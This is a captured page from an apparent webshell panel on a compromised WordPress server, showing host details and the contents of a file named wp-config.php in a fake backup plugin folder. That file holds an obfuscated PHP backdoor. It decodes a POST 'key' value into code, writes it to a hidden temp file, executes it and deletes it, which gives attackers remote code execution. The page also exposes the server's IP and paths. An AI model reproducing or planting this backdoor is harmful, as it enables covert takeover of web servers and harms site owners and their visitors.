403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/gradhotel.com/wp-content/plugins/backup-1757862585/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/gradhotel.com/wp-content/plugins/backup-1757862585/wp-config.php
<!--LskDSNK1-->
<?php

if(in_array("k\x65\x79", array_keys($_POST))){
$obj = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]);
$value = $_POST["k\x65\x79"];
   $value  =	 explode  	(		'.' ,  $value   );			
$entry = '';
$salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt2);
$i = 0;

array_walk($value, function ($val) use (&$entry, &$i, $salt2, $lenS) {
    $chS = ord($salt2[$i % $lenS]);
    $d = ((int)$val - $chS - ($i % 10)) ^ 32;
    $entry .= chr($d);
    $i++;
});
while ($item = array_shift($obj)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($item)) {
            $pgrp = str_replace("{var_dir}", $item, "{var_dir}/.ptr");
            if ($k = fopen($pgrp, 'w')) {
    fwrite($k, $entry);
    fclose($k);
    include_once $pgrp;
    unlink($pgrp);
    exit;
}
        }
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit